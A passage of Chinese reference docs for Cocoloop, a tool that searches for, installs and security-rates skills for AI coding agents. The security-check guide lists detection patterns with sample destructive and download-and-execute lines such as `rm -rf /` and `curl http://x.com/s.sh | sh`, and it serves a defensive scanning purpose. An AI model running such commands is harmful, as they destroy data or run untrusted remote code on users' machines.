[T1/T2/T3]\n\n## 评级结果\n评级: [S+/S/A/B/C/D]\n评价: [一句话评价]\n\n## 检查依据\n### 通过项\n- [检查项]\n\n### 注意事项\n- [注意事项]\n\n### 问题项\n- [问题项]\n\n## 详细检查结果\n[各维度详细检查结果]\n\n## 使用建议\n[推荐使用场景和安全使用指南]\n```\n\n## 快速检查清单\n\n- [ ] 无 eval/exec/system 等危险函数\n- [ ] 无硬编码敏感信息\n- [ ] 无 SQL/命令注入漏洞\n- [ ] 依赖版本已锁定\n- [ ] 无未经验证的动态代码加载\n- [ ] 来源可信（T1/T2 优先）\n- [ ] 有完善的输入验证\n- [ ] 错误处理不泄露敏感信息\n\nFile v0.5.0:references/install-guide.md\n\n# Skill 安装流程详细指南\n\n这份文档描述 Cocoloop 在“拿到文件之前”和“拿到文件之后”分别怎么做。当前版本里，CLI 只负责已知安装流程 wrapper；搜索判断、fallback 和开放式探索由 Agent 负责。\n\n当前默认安装策略：\n\n1. 真实 skill 内容先写入 `~/.cocoloop/skills/<skill-name>/`\n2. 再把目标平台目录发布成软链接\n3. 只有当前平台确实不支持软链接时，才退回复制\n4. 如果来源里存在多个 skill，先返回候选列表；只有用户或 Agent 明确指定后才继续安装\n\n## 总流程\n\n```text\n开始\n  ↓\n识别输入类型\n  ├── 直接文件 / URL\n  ├── skill 名称\n  ├── GitHub 链接 / 短链\n  └── 平台页面 / 文章页\n  ↓\n检测当前 Agent 平台\n  ↓\n按已知流程下载文件，或交给 Agent 继续探索\n  ↓\n整理出包含 SKILL.md 的 skill 根目录\n  ↓\n按平台选择目标目录\n  ↓\n复制目录并校验\n  ↓\n完成\n```\n\n## 第一步：检测当前平台\n\n安装前先判断当前任务更接近哪个 Agent 生态。\n判断顺序：\n\n1. 先看当前工作区里的平台信号\n2. 再看项目配置文件\n3. 最后才看 `HOME` 下的兼容目录\n\n这样可以避免同一个 `HOME` 里存在多个 Agent 目录时互相串扰。\n\n### Codex\n\n优先信号：\n\n- 仓库里已有 `.agents/skills/`\n- 当前文档和配置明显使用 `AGENTS.md`、`agents/openai.yaml`\n- 如果工作区没有更强信号，再看 `~/.agents/skills/`、`~/.codex/skills/`、`~/.codex/config.toml`\n\n推荐安装目录：\n\n- 项目级：`.agents/skills/<skill-name>/`\n- 用户级：`~/.agents/skills/<skill-name>/`\n- 兼容目录：`~/.codex/skills/<skill-name>/`\n\n配置示范：\n\n```toml\n[[skills.config]]\npath = \"/Users/you/.agents/skills/cocoloop/SKILL.md\"\nenabled = false\n```\n\n### Claude Code\n\n优先信号：\n\n- 仓库里已有 `.claude/skills/`\n- 当前工程使用 `CLAUDE.md` 或 `.claude/settings.json`\n- 如果工作区没有更强信号，再看 `~/.claude/skills/` 或 `~/.claude/settings.json`\n\n推荐安装目录：\n\n- 项目级：`.claude/skills/<skill-name>/`\n- 用户级：`~/.claude/skills/<skill-name>/`\n\n说明：\n\n- Claude Code 的 skill 发现主要依赖目录，不需要额外维护 skill 注册表。\n- 如果团队还要共享额外行为，再配合 `.claude/settings.json`。\n\n### OpenClaw\n\n优先信号：\n\n- 仓库里已有 `skills/` 或 `.agents/skills/`\n- 当前工程使用 `.openclaw/openclaw.json`\n- 如果工作区没有更强信号，再看 `~/.openclaw/skills/`、`~/.agents/skills/`、`~/.openclaw/openclaw.json`\n\n推荐安装目录：\n\n- 项目级：`skills/<skill-name>/` 或 `.agents/skills/<skill-name>/`\n- 用户级：`~/.agents/skills/<skill-name>/` 或 `~/.openclaw/skills/<skill-name>/`\n\n配置示范：\n\n```json\n{\n  \"skills\": {\n    \"load\": {\n      \"extraDirs\": [\n        \"/Users/you/.agents/skills\",\n        \"/Users/you/.openclaw/skills\"\n      ]\n    }\n  }\n}\n```\n\n### Molili\n\n优先信号：\n\n- 工作目录存在 `.molili/workspaces/default/active_skills/`\n- 如果工作区没有更强信号，再看 `~/.molili/workspaces/default/active_skills/`\n\n推荐安装目录：\n\n- 用户级：macOS / Linux 使用 `~/.molili/workspaces/default/active_skills/<skill-name>/`\n- Windows 使用 `\\\\.molili\\\\workspaces\\\\default\\\\active_skills\\\\<skill-name>\\\\`\n\n说明：\n\n- Molili 当前没有单独的项目级 skill 目录。\n- 已知安装动作就是把 skill 目录移动到 `active_skills`。\n- 这一步可以直接用 Bash 完成。\n\n### OpenCode\n\n优先信号：\n\n- 仓库里已有 `.opencode/skills/`\n- 项目根存在 `opencode.json` 或 `opencode.jsonc`\n- 环境变量存在 `OPENCODE_CONFIG_DIR` 或 `OPENCODE_CONFIG`\n- 用户目录存在 `~/.config/opencode/skills/`\n\n推荐安装目录：\n\n- 项目级：`.opencode/skills/<skill-name>/`\n- 用户级：`~/.config/opencode/skills/<skill-name>/`\n\n说明：\n\n- OpenCode 也会兼容发现 `.claude/skills/` 和 `.agents/skills/`\n- 但当前 Cocoloop 在 OpenCode 环境下优先写 OpenCode 自己的目录\n\n### 目录选择规则\n\n1. 用户说“给当前项目装”时，写项目级目录。\n2. 用户说“以后所有项目都能用”时，写用户级目录。\n3. 如果仓库已经有既定结构，优先沿用现有目录风格。\n4. 如果来源平台自带安装器，先判断它能否装到当前 Agent 真的会读取的位置。\n5. 如果来源里存在多个 skill，先列出候选，不自动替用户选。\n\n补充说明：\n\n1. 如果当前平台不在已知支持列表，CLI 不继续猜，直接 `handoff-to-agent`\n2. 如果来源不属于已知安装流，CLI 也不继续猜，直接 `handoff-to-agent`\n3. Agent 接管后，要先确认这个环境的正确安装目录和正确验证方式，再继续安装\n\n## 第二步：按来源拿到文件\n\n### A. 直接 URL 或本地文件\n\n处理顺序：\n\n1. 用 `curl -L` 下载，或读取本地路径\n2. 识别文件类型\n3. 如果是 zip / tar.gz，解压到临时目录\n4. 查找包含 `SKILL.md` 的根目录\n\n建议命令：\n\n```bash\ncurl -L -o /tmp/cocoloop-skill.zip \"https://example.com/skill.zip\"\n```\n\n### B. Skill 名称\n\n处理顺序固定：\n\n1. 先用 CocoLoop API 搜\n2. 如果官方是模糊命中或返回多个候选，CLI 在这里返回 `review-required`\n3. 只有用户或 Agent 明确指定目标 skill，才继续安装\n4. 如果官方没有明确命中，CLI 在这里停住\n5. 后续由 Agent 继续 ClawHub、skills.sh、GitHub 和公开网页探索\n\n#### 1. CocoLoop API\n\n示例：\n\n```bash\ncurl -L \"https://api.cocoloop.cn/api/v1/store/skills?page=1&page_size=10&keyword=${KEYWORD}&sort=downloads\"\n```\n\n预期结果：\n\n- skill 文件下载地址\n- 仓库地址\n- 版本、作者、描述等元数据\n\n如果有多个结果，先展示候选，再由 Agent 判断或让用户确认。当前可以用精确 skill 名重试安装。\n\n#### 2. ClawHub\n\n这里开始已经不是 CLI 自动编排范围，而是 Agent 探索范围。\n\n优先尝试：\n\n```bash\nnpx clawhub@latest install <skill-name>\n```\n\n如果命令成功：\n\n1. 确认它把 skill 装到了哪里\n2. 判断该目录是否被当前 Agent 平台读取\n3. 如果目录兼容，直接汇报结果\n4. 如果目录不兼容，重新提取文件并手动安装到正确位置\n\n#### 3. skills.sh\n\n优先尝试：\n\n```bash\nnpx skills add https://github.com/owner/repo --skill <skill-name>\n```\n\n处理原则：\n\n- 如果 skills.sh 已经给出仓库地址或下载地址，优先拿文件\n- 如果它直接完成安装，继续核对真实写入目录\n- 如果它只兼容某个社区目录，也要向用户说明兼容路径和真实落点\n\n#### 4. GitHub\n\n搜索方向：\n\n- 仓库名包含查询词\n- 仓库中存在 `SKILL.md`\n- 优先组织账号、近期更新、stars 更高的结果\n\n下载方式：\n\n1. 仓库根目录就是 skill 根目录时，可以直接交给 `install`\n2. 如果仓库里有多个 skill，CLI 会先返回 `review-required` 和候选列表\n3. 只有用户或 Agent 明确指定 `--skills` 或 `--all`，才继续安装\n4. 如果需要继续判断子目录、分支或额外结构，由 Agent 继续探索\n5. 当 source 已经明确，再进入统一安装流程\n\n#### 5. 自由探索\n\n当上面都失败时：\n\n1. 搜索公开网页、发布页、文档站\n2. 沿着下载按钮、release 资产、源码链接继续追\n3. 只要拿到 zip、仓库或 skill 目录，就回到统一安装流程\n\n这里的页面解析、链接追踪和结果判断都由 Agent 完成，不由 CLI 自动完成。\n\n## 第三步：标准化 skill 目录\n\n无论文件从哪里来，都整理成一个统一的 skill 根目录。\n\n如果来源中发现多个 `SKILL.md`：\n\n1. 默认不自动挑一个\n2. 先返回候选 skill 名和路径\n3. 用户或 Agent 可重试：\n   - `cocoloop install SOURCE --skills skill-a,skill-b`\n   - `cocoloop install SOURCE --all`\n\n### 根目录必须满足\n\n```text\nskill-name/\n├── SKILL.md\n├── scripts/        可选\n├── references/     可选\n├── assets/         可选\n└── agents/         可选\n```\n\n### 标准化步骤\n\n1. 找到第一个包含 `SKILL.md` 的目录\n2. 读取 frontmatter\n3. 优先使用 frontmatter 里的 `name`\n4. 如果缺少 `name`，退回目录名\n5. 清理无关构建产物，但不要误删脚本和资源\n\n## 第四步：写入目标目录\n\n### 手动落盘安装\n\n推荐做法：\n\n1. 先写临时目录\n2. 再把 skill 内容落到 `~/.cocoloop/skills/<skill-name>/`\n3. 默认把目标平台目录发布成软链接\n4. 平台不支持软链接时，再复制到目标目录\n5. 覆盖前提醒用户\n\n目标路径示例：\n\n```text\n.agents/skills/cocoloop/\n.claude/skills/cocoloop/\n~/.openclaw/skills/cocoloop/\n~/.molili/workspaces/default/active_skills/cocoloop/\n~/.config/opencode/skills/cocoloop/\n```\n\n### 保留目录结构\n\n复制时不要只拿 `SKILL.md`。如果来源里还有下面这些目录，也要一起保留：\n\n- `scripts/`\n- `references/`\n- `assets/`\n- `agents/`\n\n### 覆盖与更新\n\n如果目标目录已存在：\n\n1. 安装请求：先确认是否覆盖\n2. 更新请求：默认按覆盖处理\n3. 如有需要，先创建备份目录\n\n## 第五步：安装后校验\n\n安装结束后至少检查三件事：\n\n1. 目标目录存在\n2. `SKILL.md` 可读\n3. 关键资源目录没有丢失\n\n按平台补充提示：\n\n- Codex：如技能没有立刻出现，提醒用户刷新或重启 Codex\n- Claude Code：如技能没有出现，提醒用户确认目录范围是项目级还是用户级\n- OpenClaw：如技能没有出现，提醒用户检查 `openclaw.json` 的额外扫描目录\n- Molili：如技能没有出现，提醒用户检查 `active_skills` 目录是否为当前 workspace 正在读取的目录\n- OpenCode：如技能没有出现，提醒用户运行 `opencode debug skill` 检查是否被发现\n\n安装完成后，要提醒用户立刻做一次真实调用测试，而不是只看目录存在。\n\n## 异常处理\n\n| 场景 | 处理方式 |\n| --- | --- |\n| URL 失效 | 提示用户检查链接，或继续尝试其他来源 |\n| 压缩包里找不到 `SKILL.md` | 视为无效安装包，继续 fallback |\n| 原生安装器成功但路径不兼容 | 补做一次手动安装到正确目录 |\n| 目标目录无写权限 | 改用用户级目录，或提示用户切换安装范围 |\n| 同名 skill 已存在 | 显示现有路径，询问覆盖还是改名 |\n| 环境不是已知平台 | CLI 直接 `handoff-to-agent` |\n| 来源不属于已知安装流 | CLI 直接 `handoff-to-agent` |\n\n## 推荐汇报格式\n\n安装完成后，建议输出这些信息：\n\n```text\n安装成功\nSkill: cocoloop\n来源: CocoLoop / ClawHub / skills.sh / GitHub / 自由探索\n平台: Codex / Claude Code / OpenClaw\n真实安装路径: /absolute/path/to/skill\n兼容说明: 是否同时写入兼容目录，是否需要刷新客户端\n```\n\nFile v0.5.0:references/operations-manual.md\n\n# Cocoloop 运维手册\n\n这份手册只服务仓库维护者和后续接手的 Agent，默认留在本地，不进入提交。\n\n## 1. 维护目标\n\n日常维护主要看这几件事：\n\n- 线上 API 是否可用\n- 本地 `cocoloop` skill 是否是最新版\n- 已知平台安装链路是否还正确\n- 发布前回归是否通过\n- 出问题时能不能快速回滚\n\n## 2. 仓库现状约束\n\n当前仓库的维护边界：\n\n- CLI 只负责网络 API wrapper 和已知安装流程 wrapper\n- 搜索判断、fallback 探索、候选选择和未知环境安装由 Agent 负责\n- 测试文件只留本地，不进入提交\n- 未实装能力只留在 PRD，不提前写占位代码\n\n## 3. 日常巡检\n\n### 3.1 看工作区状态\n\n先确认本地有没有未提交改动：\n\n```bash\ngit status --short --branch\n```\n\n如果工作区不干净，先区分：\n\n- 用户自己的文档改动\n- 当前维护任务改动\n- 不该一起发的临时文件\n\n### 3.2 看当前 CLI 是否还能跑\n\n```bash\nbash -n scripts/cocoloop.sh scripts/lib/*.sh\n```\n\n如果这里失败，先修语法问题，再做其他动作。\n\n## 4. 线上 API 检查\n\n当前 base URL：\n\n```text\nhttps://api.cocoloop.cn/api/v1\n```\n\n先检查基础健康：\n\n```bash\nbash scripts/cocoloop.sh healthcheck\n```\n\n再检查一个真实搜索：\n\n```bash\nbash scripts/cocoloop.sh search --query chrome\n```\n\n建议重点关注：\n\n- `health/ping`\n- `health/`\n- `store/skills`\n- `store/skills/{id}`\n- `safescan/agent-skill-paths`\n- `safescan/client/check-upgrade`\n\n如果搜索或详情异常，先分清是：\n\n- 网络层故障\n- API 路由故障\n- 上游数据异常\n- CLI 展示归一化异常\n\n## 5. 更新本地 cocoloop skill\n\n当仓库代码已经更新，需要让本机 Agent 读到最新版 skill 时，执行：\n\n```bash\nbash scripts/cocoloop.sh install . --scope user --force\n```\n\n预期结果：\n\n- `STORE_PATH` 指向 `~/.cocoloop/skills/cocoloop`\n- `TARGET_PATH` 指向当前 Agent 的用户级技能目录\n- `INSTALL_STRATEGY` 优先是 `symlink`\n\n更新后要立刻做一次实际调用测试，确认当前 Agent 已经能读到新版 skill。\n\n## 6. 已知平台安装链路检查\n\n当前已知平台：\n\n- `codex`\n- `claude-code`\n- `openclaw`\n- `opencode`\n- `molili`\n\n先看本机识别到的当前平台和路径：\n\n```bash\nbash scripts/cocoloop.sh paths\n```\n\n如果要单独检查某个平台：\n\n```bash\nbash scripts/cocoloop.sh paths --agent opencode --os macos\n```\n\n重点确认：\n\n- 平台识别是不是对的\n- 项目级目录是不是对的\n- 用户级目录是不是对的\n- 远端路径信息是否和本地实现冲突\n\nMolili 当前以本地确认规则为准：\n\n- macOS/Linux: `~/.molili/workspaces/default/active_skills`\n- Windows: `\\.molili\\workspaces\\default\\active_skills`\n\n## 7. 发布前最小回归\n\n每次发布前至少跑这组：\n\n```bash\nbash -n scripts/cocoloop.sh scripts/lib/*.sh\nbash scripts/cocoloop.sh search --query chrome\nbash scripts/cocoloop.sh search --query gstack\nbash scripts/cocoloop.sh inspect using-superpowers\n```\n\n如果当前机器环境允许，再补：\n\n```bash\nbash scripts/cocoloop.sh install . --scope user --force\nbash scripts/cocoloop.sh paths\n```\n\n发布前重点看：\n\n- `search` 是否同时汇总官方和本地已知 Agent 结果\n- 本地已知 Agent 命中时，是否提示可移植\n- 空结果是否返回 `STATUS: no-results`\n- `inspect` 未命中时是否稳定返回 `not-found`\n- `install` 是否仍然遵守 `review-required` 和 `handoff-to-agent`\n\n## 8. 提交和发布\n\n先确认这次要发哪些文件，不要把无关改动一起带上。\n\n常用步骤：\n\n```bash\ngit status --short\ngit add <需要发布的文件>\ngit commit -m \"<message>\"\ngit push origin main\n```\n\n如果有本地维护手册、测试文件或临时产物，确认它们已经被 `.gitignore` 排除。\n\n## 9. 回滚\n\n如果这次发布后发现行为异常，先找刚刚推送的提交：\n\n```bash\ngit log --oneline -n 5\n```\n\n优先做两件事：\n\n- 重新安装上一个稳定版本的本地 `cocoloop` skill\n- 回退远端代码到上一个稳定提交\n\n如果只是本地 skill 异常，先重新安装：\n\n```bash\nbash scripts/cocoloop.sh install . --scope user --force\n```\n\n如果是远端提交需要回退，按团队约定选择回滚方式。默认不要直接用破坏性命令，除非已经确认影响范围。\n\n## 10. 常见故障\n\n### 10.1 搜索有官方结果，但看起来不对\n\n先区分：\n\n- 是 API 返回的候选本身就不对\n- 还是 CLI 展示字段错位\n\n可以直接用 `curl` 对比原始接口返回。\n\n### 10.2 本地明明装过 skill，搜索却没看到\n\n先检查目录：\n\n- 当前 Agent 的项目级目录\n- 当前 Agent 的用户级目录\n- `~/.cocoloop/skills`\n\n再确认该 skill 根目录里是否真的有 `SKILL.md`。\n\n### 10.3 install 直接返回 handoff-to-agent\n\n这通常是正常保护，不一定是 bug。优先判断：\n\n- 当前环境是不是未知平台\n- 当前来源是不是页面链接、文章页或不支持的归档\n- 已知安装流是不是失效了\n\n### 10.4 search 提示可移植\n\n这说明本地其他已知 Agent 环境里已经有相近或同名 skill。\n\n下一步应该先问用户：\n\n- 要不要直接移植到当前环境\n- 还是继续走官方安装\n\n不要在没确认前直接移动或覆盖。\n\n## 11. 文档入口\n\n- 普通使用说明看 `README.md`\n- Skill 行为定义看 `SKILL.md`\n- 搜索细节看 `references/search-guide.md`\n- 安装细节看 `references/install-guide.md`\n- 卸载细节看 `references/uninstall-guide.md`\n- 这份手册只用于本地维护\n\nFile v0.5.0:references/safety-check-guide.md\n\n# Cocoloop Safe Check 安全检查流程指南\n\n本文档详细描述 Cocoloop 安全检查的执行流程，基于 cocoloop-safe-check 安全认证体系。\n\n## 检查触发时机\n\n1. **安装前检查**（推荐）\n   - 用户明确请求：\"检查 xxx 安全\"\n   - 来源为 T3 且用户未使用 --skip-check 参数\n\n2. **安装后检查**\n   - 安装完成后询问用户是否需要检查\n\n3. **批量检查**\n   - 检查所有已安装 skills\n\n## 检查流程概览\n\n```\n开始检查\n  ↓\n定位 Skill 来源\n  ├── 本地路径 ──→ 读取本地文件\n  ├── Skill 名称 ──→ 在安装目录查找\n  ├── GitHub 链接 ──→ 下载仓库内容\n  └── URL ──→ 下载内容\n  ↓\n提取所有代码\n  ├── SKILL.md 中的代码块\n  ├── scripts/ 目录文件\n  ├── references/ 目录（检查可执行代码）\n  └── assets/ 目录（检查可执行文件）\n  ↓\n执行六项检查\n  ├── 1. 代码安全性\n  ├── 2. 数据隐私性\n  ├── 3. 执行安全性\n  ├── 4. 依赖可靠性\n  ├── 5. 边界完整性\n  └── 6. 描述逻辑\n  ↓\n评估来源可信度 (T1/T2/T3)\n  ↓\n计算安全评级 (S+/S/A/B/C/D)\n  ↓\n生成报告 ──→ 询问保存位置 ──→ 保存报告\n  ↓\n评级 <= B? ──是──→ 强烈建议用户注意安全\n  ↓\n完成\n```\n\n## 详细检查步骤\n\n### 第一步：定位 Skill\n\n根据用户输入确定检查目标：\n\n| 输入类型    | 处理方式           | 示例                                           |\n| ----------- | ------------------ | ---------------------------------------------- |\n| 本地路径    | 直接读取目录       | `~/.claude/skills/pdf-processor/`              |\n| Skill 名称  | 在平台安装目录查找 | `pdf-processor`                                |\n| GitHub 链接 | 解析并下载仓库     | `https://github.com/owner/repo`                |\n| GitHub 短链 | 拼接完整地址       | `owner/repo` → `https://github.com/owner/repo` |\n\n下载 GitHub 仓库内容：\n\n1. 获取默认分支：`GET https://api.github.com/repos/{owner}/{repo}` → `default_branch`\n2. 下载归档：`https://github.com/{owner}/{repo}/archive/{branch}.zip`\n3. 解压到临时目录\n\n### 第二步：提取代码\n\n遍历 skill 目录，提取所有可执行内容：\n\n**SKILL.md 代码块提取：**\n\n- 正则匹配：/`(\\w+)?\\n([\\s\\S]*?)`/g\n- 记录语言类型和代码内容\n- 可执行语言标记：javascript, js, python, py, bash, sh, shell, ruby, rb, php, perl, pl\n\n**scripts/ 目录：**\n\n- 列出所有文件\n- 根据扩展名识别类型：.js, .cjs, .mjs, .py, .sh, .rb, .pl\n- 读取文件内容\n\n**references/ 目录：**\n\n- 检查是否包含可执行代码（按文件扩展名和内容）\n\n**assets/ 目录：**\n\n- 检查可执行二进制文件\n\n### 第三步：六项检查\n\n#### 3.1 代码安全性检查\n\n检查危险函数和漏洞模式：\n\n**D级触发项（一票否决）：**\n\n| 模式            | 描述                 | 示例                           |\n| --------------- | -------------------- | ------------------------------ |\n| `eval\\s*\\(`     | 使用 eval 执行代码   | `eval(userInput)`              |\n| `exec\\s*\\(`     | 使用 exec 执行命令   | `exec(userCommand)`            |\n| `system\\s*\\(`   | 使用 system 执行命令 | `system(\"rm -rf /\")`           |\n| `child_process` | 引入 child_process   | `require('child_process')`     |\n| `spawn\\s*\\(`    | 使用 spawn 执行命令  | `spawn('sh', ['-c', cmd])`     |\n| `rm\\s+-rf\\s+/`  | 系统破坏性命令       | `rm -rf /`                     |\n| `curl.*\\|.*sh`  | 管道执行远程脚本     | `curl http://x.com/s.sh \\| sh` |\n| `fetch.*eval`   | 下载并执行代码       | `fetch(url).then(r=>eval(r))`  |\n\n**C级触发项：**\n\n| 模式           | 描述                               | 示例                       |\n| -------------- | ---------------------------------- | -------------------------- |\n| 硬编码密码     | `password\\s*=\\s*[\"'][^\"']+[\"']`    | `password = \"secret123\"`   |\n| 硬编码 API Key | `api[_-]?key\\s*=\\s*[\"'][^\"']+[\"']` | `api_key = \"sk-xxx\"`       |\n| 硬编码 Token   | `token\\s*=\\s*[\"'][^\"']+[\"']`       | `token = \"ghp_xxx\"`        |\n| 硬编码 Secret  | `secret\\s*=\\s*[\"'][^\"']+[\"']`      | `secret = \"xxx\"`           |\n| 文件删除操作   | `fs\\.unlink\\s*\\(`                  | `fs.unlink('/etc/passwd')` |\n| 目录删除操作   | `fs\\.rmdir\\s*\\(`                   | `fs.rmdir('/system')`      |\n\n#### 3.2 数据隐私性检查\n\n**D级触发项：**\n\n- 未经用户确认上传本地文件到远程（T3 来源）\n- 静默收集密码、密钥等敏感信息\n- 将敏感数据传输到未加密通道（http 而非 https）\n\n**C级触发项：**\n\n- 收集的数据超出功能说明范围\n- 未明确告知用户数据使用情况\n\n检查方法：\n\n- 查找网络请求代码（fetch, axios, request, http.get）\n- 检查请求目标 URL\n- 检查请求体是否包含敏感字段名\n\n#### 3.3 执行安全性检查\n\n**D级触发项：**\n\n- 执行 `rm -rf /` 或类似系统破坏性命令\n- 无确认直接执行系统级危险操作（格式化磁盘、修改系统配置）\n- 修改系统关键配置且无备份机制\n\n**C级触发项：**\n\n- 危险操作缺乏二次确认\n- 关键操作无回滚机制\n\n#### 3.4 依赖可靠性检查\n\n检查是否加载动态代码：\n\n- 从网络下载并执行代码\n- 使用 `fetch` 或 `curl` 获取远程脚本并执行\n- 动态 `import()` 不可信来源的模块\n- `require()` 远程模块\n\n**URL 递归检查机制：**\n\n对于动态加载的可执行文件，实施最多 2 层的 URL 递归检查：\n\n```\n第 0 层: Skill 本体代码\n    ↓ 发现动态加载 URL\n第 1 层: 下载并检查第一层动态加载的内容\n    ↓ 如发现该层内容仍包含动态加载\n第 2 层: 下载并检查第二层动态加载的内容\n    ↓ 如第 2 层仍包含动态加载\n   终止递归，最高标记为 C 级（多层动态加载风险）\n```\n\n**递归检查流程：**\n\n1. **提取 URL**：从代码中提取所有网络请求目标 URL\n   - `fetch('https://example.com/script.js')`\n   - `curl -o script.sh https://example.com/script.sh`\n   - `import('https://example.com/module.js')`\n   - `require('https://example.com/package')`\n\n2. **逐层检查**：\n   - **第 1 层**：下载 URL 内容，检查是否为可执行代码\n     - 如果是可执行代码 → 进行安全检查（危险函数、敏感信息等）\n     - 如果包含新的动态加载 URL → 进入第 2 层\n   - **第 2 层**：下载并检查第二层内容\n     - 如果仍包含动态加载 → 标记为 C 级（多层动态加载）\n     - 记录所有发现的 URL 链\n\n3. **风险评级规则**：\n   - **无动态加载**：正常评级流程\n   - **仅第 1 层动态加载**：根据来源分级处理\n   - **存在第 2 层动态加载**：最高评级为 C 级\n   - **第 2 层后仍有动态加载**：强制标记为 C 级\n\n**来源分级处理（动态代码）：**\n\n- **T1 来源**：可加载官方动态代码，放宽至 B 级要求\n- **T2 来源**：动态代码需来源验证，放宽至 C 级要求\n- **T3 来源**：严格禁止未经验证的动态代码加载\n\n**多层动态加载示例（C 级）：**\n\n```javascript\n// Skill 代码（第 0 层）\nfetch('https://example.com/loader.js'); // 第 1 层\n\n// loader.js 内容（第 1 层）\nimport('https://another.com/runtime.js'); // 第 2 层\n\n// runtime.js 内容（第 2 层）\nfetch('https://third.com/exec.js'); // 第 3 层 → 触发 C 级标记\n```\n\n#### 3.5 边界完整性检查\n\n- 缺乏基本的输入验证（未检查参数类型、范围）\n- 对异常情况处理不当（try-catch 缺失）\n- 错误信息泄露敏感信息（堆栈跟踪包含路径、密钥片段）\n\n#### 3.6 描述逻辑审查\n\n- 功能描述是否清晰准确\n- 安全相关行为是否有明确告知\n- 是否隐瞒潜在风险\n\n### 第四步：来源可信度评估\n\n确定 skill 的来源等级：\n\n**T1 - 官方/顶级来源：**\n\n- 知名大型技术公司（Google, Microsoft, OpenAI, Anthropic, Meta, AWS）\n- 顶级开源基金会（Apache, Linux 基金会）\n- 有官方代码签名\n\n**T2 - 可信组织来源：**\n\n- 有实名认证的组织账号\n- GitHub 组织账号（非个人）\n- Stars > 1000 或有良好声誉\n\n**T3 - 社区/个人来源：**\n\n- 个人开发者账号\n- 小型社区项目\n- 来源无法明确验证\n\n### 第五步：计算评级\n\n评级判定流程：\n\n```\n检查开始\n    ↓\n发现 D 级问题？ ──是──→ D 级（一票否决）\n    ↓ 否\n发现 C 级问题？ ──是──→ C 级\n    ↓ 否\n满足 S 级要求？ ──是──→ S 级\n    ↓ 否\n满足 A 级要求？ ──是──→ A 级\n    ↓ 否\n    B 级\n```\n\n**纯文档型资产**（无代码）：\n| 条件 | 评级 |\n|------|------|\n| 无 C/D 级问题 + T1/T2 来源 | **S 级** |\n| 无 C/D 级问题 + T3 来源 | **A 级** |\n\n**代码型资产**（有脚本/可执行代码）：\n\nS 级要求（需全部满足）：\n\n1. **来源可信**：T1/T2 来源\n2. **代码安全**：无危险函数，无注入漏洞\n3. **依赖可靠**：版本锁定，无动态代码加载，无已知 CVE\n4. **输入验证**：完善的参数校验和类型检查\n5. **错误处理**：不暴露敏感信息，有异常处理机制\n6. **权限最小化**：权限申请与功能匹配，有明确说明\n7. **数据隐私**：无静默收集，用户可控制数据使用\n\nA 级要求（需全部满足）：\n\n1. **代码安全**：无危险函数，无注入漏洞\n2. **依赖可靠**：版本锁定，无动态代码加载，无已知 CVE\n3. **输入验证**：完善的参数校验和类型检查\n4. **错误处理**：不暴露敏感信息，有异常处理机制\n5. **权限最小化**：权限申请与功能匹配，有明确说明\n6. **数据隐私**：无静默收集，用户可控制数据使用\n\n（A 级与 S 级的区别在于：S 级要求 T1/T2 来源，A 级允许 T3 来源）\n\n### 第六步：生成报告\n\n报告结构：\n\n```markdown\n# Cocoloop Safe Check 安全认证报告\n\n## 基本信息\n\n- Skill 名称: [名称]\n- 来源: [GitHub 链接/本地路径]\n- 来源等级: [T1/T2/T3]\n\n## 评级结果\n\n评级: [S+/S/A/B/C/D]\n评价: [一句话评价]\n\n## 检查依据\n\n### ✅ 通过项\n\n- [检查项]\n\n### ⚠️ 注意事项\n\n- [注意事项]\n\n### ❌ 问题项\n\n- [问题项]\n\n## 详细检查结果\n\n[各维度详细检查结果]\n\n## 使用建议\n\n[推荐使用场景和安全使用指南]\n```\n\n## 报告保存流程\n\n1. **询问用户保存位置**\n   - 选项：桌面 / 下载文件夹 / 当前工作目录 / 指定路径 / 只展示不保存\n\n2. **根据选择保存**\n   - 文件名格式：`Cocoloop-认证-{skill-name}-{评级}-报告.md`\n\n3. **展示结果摘要**\n\n## 使用建议生成\n\n根据评级生成使用建议：\n\n**S+/S 级：**\n\n- 可放心使用\n- 推荐用于生产环境\n\n**A 级：**\n\n- 代码安全，可正常使用\n- 建议了解作者背景\n\n**B 级：**\n\n- 无显著安全问题，但有改进空间\n- 建议阅读代码后再使用\n\n**C 级：**\n\n- 存在潜在安全问题\n- 建议在隔离环境测试后再使用\n- 不建议用于处理敏感数据\n\n**D 级：**\n\n- 存在严重安全问题\n- 强烈建议不要使用\n- 如需使用，必须在完全隔离的环境中\n\nFile v0.5.0:references/search-guide.md\n\n# Skill 搜索流程详细指南\n\n这份文档只关心一件事：怎样更稳定地拿到一个可安装的 skill 文件。当前版本里，CLI 会并行执行官方搜索和本地已知 Agent 目录搜索；后续多源探索和候选判断由 Agent 负责。\n\n## 搜索优先级\n\n1. CocoLoop API\n2. ClawHub\n3. skills.sh\n4. GitHub\n5. 自由探索\n\n同一轮搜索里，CLI 会把官方结果和本地已知 Agent 结果一起汇总。\n如果返回的是候选集合，CLI 负责展示，Agent 或用户负责决定下一步。\n如果本地已知 Agent 里已经有同名或相近 Skill，CLI 会提示用户是否移植。\n\n## 搜索输入标准化\n\n开始搜索前，先把输入归类：\n\n- 纯名称：`rsshub`\n- 带空格的自然语言：`github trending`\n- GitHub 短链：`owner/repo`\n- URL：`https://...`\n\n标准化规则：\n\n1. 去掉两端空格\n2. 保留原始大小写用于展示，搜索时可补一份小写关键词\n3. 如果像 `owner/repo`，优先按 GitHub 入口处理\n4. 如果已经是 URL，优先交给安装流或 Agent 页面探索，不再做名称搜索\n5. 如果最终得到多个候选，默认不自动替用户挑选\n\n## 第一层：CocoLoop API\n\n### 目标\n\n优先从 CocoLoop 拿到：\n\n- skill 文件 URL\n- 仓库 URL\n- 版本、作者、描述、评分、下载量\n\n### 示例请求\n\n```bash\ncurl -L \"https://api.cocoloop.cn/api/v1/store/skills?page=1&page_size=10&keyword=${KEYWORD}&sort=downloads\"\n```\n\n### 建议响应归一化\n\n```json\n{\n  \"name\": \"skill-name\",\n  \"description\": \"Skill description\",\n  \"version\": \"1.0.0\",\n  \"author\": \"author-name\",\n  \"download_url\": \"https://...\",\n  \"repo_url\": \"https://github.com/owner/repo\",\n  \"source\": \"cocoloop\"\n}\n```\n\n### 命中后怎么做\n\n1. CLI 输出官方结果\n2. 如果官方或本地任一侧有结果，返回 `STATUS: review-required`\n3. 如果两侧都没有结果，返回 `STATUS: no-results`\n4. 如果是模糊搜索，Agent 或用户需要从候选里选出目标\n5. 如果本地已知 Agent 里已有候选，先确认是否移植\n6. 两种情况都默认交给 Agent 判断，或让用户确认下一步\n\n## 并行的本地已知 Agent 